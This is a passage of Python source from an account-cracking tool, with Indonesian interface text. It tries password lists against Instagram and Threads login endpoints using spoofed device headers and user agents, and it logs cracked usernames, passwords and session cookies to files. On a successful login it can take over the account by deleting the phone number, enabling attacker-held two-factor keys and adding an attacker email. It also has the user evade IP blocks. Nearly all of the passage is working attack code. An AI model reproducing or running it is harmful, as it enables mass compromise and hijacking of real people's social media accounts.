  707.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  708.                     printz(tree)
  709.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  710.                     self.chekpoint+=1
  711.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  712.                         wr.write(save)
  713.                         wr.close()
  714.                     break    
  715.                 elif 'ip_block' in str(response):
  716.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  717.                     time.sleep(3.5)    
  718.                 else: continue  
  719.             except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects) as e:
  720.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  721.                 time.sleep(31)
  722.                 self.ExecApi(username, password)
  723.         self.looping+=1
  724.        
  725.     def ExecApi_Threads(self, username, password):
  726.         byps = requests.Session()
  727.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white]     ", end='\r')
  728.         ua_generate = Useragent().useragent_api_threads()
  729.         for passwd in password:
  730.             try:
  731.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  732.                 else: ua_generate
  733.                 hash = hashlib.md5()
  734.                 hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  735.                 hex_ = hash.hexdigest()
  736.                 hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
  737.                 headers = {
  738.                     'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  739.                     'x-ig-app-locale': 'in_ID',
  740.                     'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  741.                     'x-ig-device-locale': 'in_ID',
  742.                     'x-ig-mapped-locale': 'id_ID',
  743.                     'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  744.                     'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  745.                     'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
  746.                     'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
  747.                     'x-ig-timezone-offset': str(-time.timezone),
  748.                     'x-ig-connection-type': 'MOBILE(LTE)',
  749.                     'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
  750.                     'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  751.                     'x-ig-app-id': '567067343352427',
  752.                     'priority': 'u=3',
  753.                     'x-ig-family-device-id': f'{str(uuid.uuid4())}',
  754.                     'user-agent': ua_generate,
  755.                     'accept-language': 'id-ID, en-US',
  756.                     'x-bloks-is-layout-rtl': 'false',
  757.                     'x-ig-device-id': f'{str(uuid.uuid4())}',
  758.                     'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  759.                     'Host': 'api.instagram.com',
  760.                     'x-fb-http-engine': 'Liger',
  761.                     'x-fb-client-ip': 'True',
  762.                     'x-fb-server-cluster': 'True',
  763.                     'x-fb-connection-type': 'MOBILE.LTE',
  764.                     'connection': 'keep-alive',
  765.                     'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  766.                 }
  767.                 encode = (f'params=%7B%22client_input_params%22%3A%7B%22device_id%22%3A%22android-{hash.hexdigest()[:16]}%22%2C%22login_attempt_count%22%3A1%2C%22secure_family_device_id%22%3A%22%22%2C%22machine_id%22%3A%22%22%2C%22accounts_list%22%3A%5B%5D%2C%22auth_secure_device_id%22%3A%22%22%2C%22password%22%3A%22%23PWD_INSTAGRAM%3A0%3A{str(int(datetime.datetime.now().timestamp()))}%3A{urllib.request.quote(str(passwd))}%22%2C%22family_device_id%22%3A%22{str(uuid.uuid4())}%22%2C%22fb_ig_device_id%22%3A%5B%5D%2C%22device_emails%22%3A%5B%5D%2C%22try_num%22%3A3%2C%22event_flow%22%3A%22login_manual%22%2C%22event_step%22%3A%22home_page%22%2C%22openid_tokens%22%3A%7B%7D%2C%22client_known_key_hash%22%3A%22%22%2C%22contact_point%22%3A%22{urllib.request.quote(str(username))}%22%2C%22encrypted_msisdn%22%3A%22%22%7D%2C%22server_params%22%3A%7B%22username_text_input_id%22%3A%22p5hbnc%3A46%22%2C%22device_id%22%3A%22android-{hash.hexdigest()[:16]}%22%2C%22should_trigger_override_login_success_action%22%3A0%2C%22server_login_source%22%3A%22login%22%2C%22waterfall_id%22%3A%22{str(uuid.uuid4())}%22%2C%22login_source%22%3A%22Login%22%2C%22INTERNAL__latency_qpl_instance_id%22%3A152086072800150%2C%22reg_flow_source%22%3A%22login_home_native_integration_point%22%2C%22is_platform_login%22%3A0%2C%22is_caa_perf_enabled%22%3A0%2C%22credential_type%22%3A%22password%22%2C%22family_device_id%22%3A%22{str(uuid.uuid4())}%22%2C%22INTERNAL__latency_qpl_marker_id%22%3A36707139%2C%22offline_experiment_group%22%3A%22caa_iteration_v3_perf_ig_4%22%2C%22INTERNAL_INFRA_THEME%22%3A%22harm_f%22%2C%22password_text_input_id%22%3A%22p5hbnc%3A47%22%2C%22ar_event_source%22%3A%22login_home_page%22%7D%7D&\bk_client_context=%7B%22bloks_version%22%3A%225f56efad68e1edec7801f630b5c122704ec5378adbee6609a448f105f34a9c73%22%2C%22styles_id%22%3A%22instagram%22%7D&bloks_versioning_id=8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb')
  768.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  769.                 response = byps.post('https://i.instagram.com/api/v1/bloks/apps/com.bloks.www.bloks.caa.login.async.send_login_request/', data = encode, headers = headers, allow_redirects=True).text
  770.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  771.                 if 'Bearer IGT:2:' in str(response.replace('\\', '')) and '"pk_id":' in str(response.replace('\\', '')):
  772.                     self.success+=1
  773.                     try: cookie = re.search('"IG-Set-Authorization": "(.*?)"', str(response.replace('\\', ''))).group(1)
  774.                     except (Exception) as e: cookie = (None)
  775.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  776.                     except (UnboundLocalError) as e: pass
  777.                     if 'ya' in self.amankan_akun:
  778.                         try:
  779.                             num = Require().DeltPhone(cookie)
  780.                             statp, pone = num['Dihapus'], num['Number']
  781.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  782.                             two = Require().Aktifkan2F(cookie)
  783.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  784.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  785.                             Temp = Require().AddMail(cookie)
  786.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  787.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  788.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  789.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  790.                             true.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  791.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  792.                             truu.add(f'[bold green]deleted nomor {deleted}')
  793.                             truu.add(f'[bold green]ganti email {email} {statd}')
  794.                             truu.add(f'[bold green]web email {inbx}')
  795.                             truu.add(f'[bold green]autentikasi duo faktor {stat2fa}')
  796.                             truu.add(f'[bold green]secreet key {key}')
  797.                             truu.add(f'[bold green]kode cadangan [bold green]{kode}').add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  798.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  799.                             printz(tree)
  800.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  801.                         except Exception as e:
  802.                             print(e)
  803.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  804.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  805.                             tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  806.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  807.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  808.                             printz(tree)
  809.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  810.                     else:
  811.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  812.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  813.                         tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  814.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  815.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  816.                         printz(tree)
  817.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  818.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  819.                         wr.write(save)
  820.                         wr.close()
  821.                     break      
  822.                 elif 'two_factor_required' in str(response):
  823.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  824.                     except (UnboundLocalError) as e: pass
  825.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  826.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  827.                     tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  828.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  829.                     printz(tree)
  830.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  831.                     self.faktor+=1
  832.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  833.                         wr.write(save)
  834.                         wr.close()  
  835.                     break
  836.                 elif 'challenge_required' in str(response):
  837.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  838.                     except (UnboundLocalError) as e: pass
  839.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  840.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  841.                     tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
  842.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  843.                     printz(tree)
  844.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  845.                     self.chekpoint+=1
  846.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  847.                         wr.write(save)
  848.                         wr.close()
  849.                     break    
  850.                 elif 'ip_block' in str(response):
  851.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  852.                     time.sleep(3.5)    
  853.                 else: continue    
  854.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  855.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  856.                 time.sleep(31)
  857.                 self.ExecApi_Threads(username, password)
  858.         self.looping+=1
  859.            
  860.     def ExecAjax(self, username, password):
  861.         byps = requests.Session()
  862.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white]     ", end='\r')
  863.         ua_generate = Useragent().useragent_ajax()
  864.         for passwd in password:
  865.             try:
  866.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  867.                 else: ua_generate
  868.                 curl = byps.get('https://www.instagram.com/accounts/login/?source=auth_switcher', headers = {"user-agent":ua_generate}, allow_redirects=True)
  869.                 try: csrftoken = re.search('{"csrf_token":"(.*?)"', str(curl.text)).group(1)
  870.                 except: csrftoken = None
  871.                 headers = {
  872.                     'Host': 'www.instagram.com',
  873.                     'vary': 'Accept-Encoding',
  874.                     'x-fb-debug':'X+2SLtmnrCBfsBDb/pVlP8IRXmPriN3g+iTxoPj6Ol2jUJz5zs8I0ghgR7yekWJhRwO06oxty5Ba+4h9P8vD2Q==',
  875.                     'content-length': '0',
  876.                     'x-ig-app-id': '1217981644879628',
  877.                     'x-instagram-ajax': '1011794706',
  878.                     'user-agent': ua_generate,
  879.                     'sec-ch-ua-mobile': '?0',
  880.                     'content-type': 'application/x-www-form-urlencoded;charset=UTF-8',
  881.                     'x-asbd-id': '129477',
  882.                     'dpr': '2',
  883.                     'x-csrftoken': csrftoken,
  884.                     'x-requested-with': 'XMLHttpRequest',
  885.                     'accept': '*/*',
  886.                     'origin': 'https://www.instagram.com',
  887.                     'sec-fetch-site': 'same-origin',
  888.                     'sec-fetch-mode': 'cors',
  889.                     'sec-fetch-user': '0',
  890.                     'sec-fetch-dest': 'empty',
  891.                     'referer': 'https://www.instagram.com/accounts/onetap/?next=%2F&hl=en',
  892.                     'accept-encoding': 'gzip, deflate',
  893.                     'accept-language': 'en-US,id-ID,id;q=0.9',
  894.                     'connection': 'close',
  895.                     'range':'bytes=0-2048'
  896.                 }
  897.                 payload = {
  898.                     'username': username,
  899.                     'enc_password': '#PWD_INSTAGRAM_BROWSER:0:{}:{}'.format(int(time.time()),passwd),
  900.                     'optIntoOneTap': False,
  901.                     'queryParams': '{"source":"auth_switcher"}',
  902.                     'stopDeletionNonce': '',
  903.                     'trustedDeviceRecords': {},
  904.                     'next': 'https://www.instagram.com/accounts/access_tool/logins'
  905.                 }
  906.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  907.                 response = byps.post('https://www.instagram.com/api/v1/web/accounts/login/ajax/', data = payload, headers = headers, allow_redirects=True).text
  908.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  909.                 if 'userId' in str(response):
  910.                     self.success+=1
  911.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  912.                     except (Exception) as e: cookie = (None)
  913.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  914.                     except (UnboundLocalError) as e: pass
  915.                     if 'ya' in self.amankan_akun:
  916.                         try:
  917.                             num = Require().DeltPhone(cookie)
  918.                             statp, pone = num['Dihapus'], num['Number']
  919.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  920.                             two = Require().Aktifkan2F(cookie)
  921.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  922.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  923.                             Temp = Require().AddMail(cookie)
  924.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  925.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  926.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  927.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  928.                             true.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  929.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  930.                             truu.add(f'[bold green]deleted nomor {deleted}')
  931.                             truu.add(f'[bold green]ganti email {email} {statd}')
  932.                             truu.add(f'[bold green]web email {inbx}')
  933.                             truu.add(f'[bold green]autentikasi duo faktor {stat2fa}')
  934.                             truu.add(f'[bold green]secreet key {key}')
  935.                             truu.add(f'[bold green]kode cadangan [bold green]{kode}').add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  936.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  937.                             printz(tree)
  938.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  939.                         except Exception as e:
  940.                             print(e)
  941.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  942.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  943.                             tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  944.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  945.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  946.                             printz(tree)
  947.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  948.                     else:
  949.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  950.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  951.                         tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  952.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  953.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  954.                         printz(tree)
  955.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  956.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  957.                         wr.write(save)
  958.                         wr.close()
  959.                     break      
  960.                 elif 'two_factor_required' in str(response):
  961.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  962.                     except (UnboundLocalError) as e: pass
  963.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  964.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  965.                     tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  966.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  967.                     printz(tree)
  968.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  969.                     self.faktor+=1
  970.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  971.                         wr.write(save)
  972.                         wr.close()  
  973.                     break
  974.                 elif 'challenge_required' in str(response):
  975.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  976.                     except (UnboundLocalError) as e: pass
  977.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  978.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  979.                     tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
  980.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  981.                     printz(tree)
  982.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  983.                     self.chekpoint+=1
  984.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  985.                         wr.write(save)
  986.                         wr.close()
  987.                     break    
  988.                 elif 'ip_block' in str(response):
  989.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  990.                     time.sleep(3.5)    
  991.                 else: continue  
  992.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  993.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  994.                 time.sleep(31)
  995.                 self.ExecAjax(username, password)
  996.         self.looping+=1
  997.        
  998.     def ExecAjax_Threads(self, username, password):
  999.         byps = requests.Session()
  1000.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white]     ", end='\r')
  1001.         ua_generate = Useragent().useragent_ajax()
  1002.         for passwd in password:
  1003.             try:
  1004.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  1005.                 else: ua_generate
  1006.                 curl = byps.get('https://www.threads.net/accounts/onetap/?next=%2F&hl=en', headers = {'user-agent':ua_generate}, allow_redirects=True)
  1007.                 try: csrftoken = re.search('{"csrf_token":"(.*?)"', str(curl.text)).group(1)
  1008.                 except: csrftoken = None
  1009.                 headers = {
  1010.                     'Host': 'www.instagram.com',
  1011.                     'vary': 'Accept-Encoding',
  1012.                     'x-fb-debug':'X+2SLtmnrCBfsBDb/pVlP8IRXmPriN3g+iTxoPj6Ol2jUJz5zs8I0ghgR7yekWJhRwO06oxty5Ba+4h9P8vD2Q==',
  1013.                     'content-length': '0',
  1014.                     'x-ig-app-id': '1217981644879628',
  1015.                     'x-instagram-ajax': '1011794706',
  1016.                     'user-agent': ua_generate,
  1017.                     'sec-ch-ua-mobile': '?0',
  1018.                     'content-type': 'application/x-www-form-urlencoded;charset=UTF-8',
  1019.                     'x-asbd-id': '129477',
  1020.                     'dpr': '2',
  1021.                     'x-csrftoken': csrftoken,
  1022.                     'x-requested-with': 'XMLHttpRequest',
  1023.                     'accept': '*/*',
  1024.                     'origin': 'https://www.threads.net',
  1025.                     'sec-fetch-site': 'same-origin',
  1026.                     'sec-fetch-mode': 'cors',
  1027.                     'sec-fetch-user': '0',
  1028.                     'sec-fetch-dest': 'empty',
  1029.                     'referer': 'https://www.threads.net/accounts/onetap/?next=%2F&hl=en',
  1030.                     'accept-encoding': 'gzip, deflate',
  1031.                     'accept-language': 'en-US,id-ID,id;q=0.9',
  1032.                     'connection': 'close',
  1033.                     'range':'bytes=0-2048'
  1034.                 }
  1035.                 payload = {
  1036.                     'enc_password': '#PWD_INSTAGRAM_BROWSER:0:{}:{}'.format(int(time.time()),passwd),
  1037.                     'optIntoOneTap':'false',
  1038.                     'queryParams':'{"hl":"en"}',
  1039.                     'trustedDeviceRecords':'{}',
  1040.                     'username': username,
  1041.                     'next': 'https://www.threads.net/accounts/access_tool/logins'
  1042.                 }
  1043.                 response = byps.post('https://www.threads.net/api/v1/web/accounts/login/ajax/', data = payload, headers = headers).text
  1044.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  1045.                 if 'userId' in str(response):
  1046.                     self.success+=1
  1047.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  1048.                     except (Exception) as e: cookie = (None)
  1049.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1050.                     except (UnboundLocalError) as e: pass
  1051.                     if 'ya' in self.amankan_akun:
  1052.                         try:
  1053.                             num = Require().DeltPhone(cookie)
  1054.                             statp, pone = num['Dihapus'], num['Number']
  1055.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  1056.                             two = Require().Aktifkan2F(cookie)
  1057.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  1058.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  1059.                             Temp = Require().AddMail(cookie)
  1060.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  1061.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  1062.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1063.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  1064.                             true.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  1065.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  1066.                             truu.add(f'[bold green]deleted nomor {deleted}')
  1067.                             truu.add(f'[bold green]ganti email {email} {statd}')
  1068.                             truu.add(f'[bold green]web email {inbx}')
  1069.                             truu.add(f'[bold green]autentikasi duo faktor {stat2fa}')
  1070.                             truu.add(f'[bold green]secreet key {key}')
  1071.                             truu.add(f'[bold green]kode cadangan [bold green]{kode}').add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1072.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  1073.                             printz(tree)
  1074.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  1075.                         except Exception as e:
  1076.                             print(e)
  1077.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1078.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  1079.                             tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  1080.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1081.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  1082.                             printz(tree)
  1083.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  1084.                     else:
  1085.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1086.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  1087.                         tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  1088.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1089.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  1090.                         printz(tree)
  1091.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  1092.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  1093.                         wr.write(save)
  1094.                         wr.close()
  1095.                     break      
  1096.                 elif 'two_factor_required' in str(response):
  1097.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1098.                     except (UnboundLocalError) as e: pass
  1099.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  1100.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  1101.                     tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  1102.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  1103.                     printz(tree)
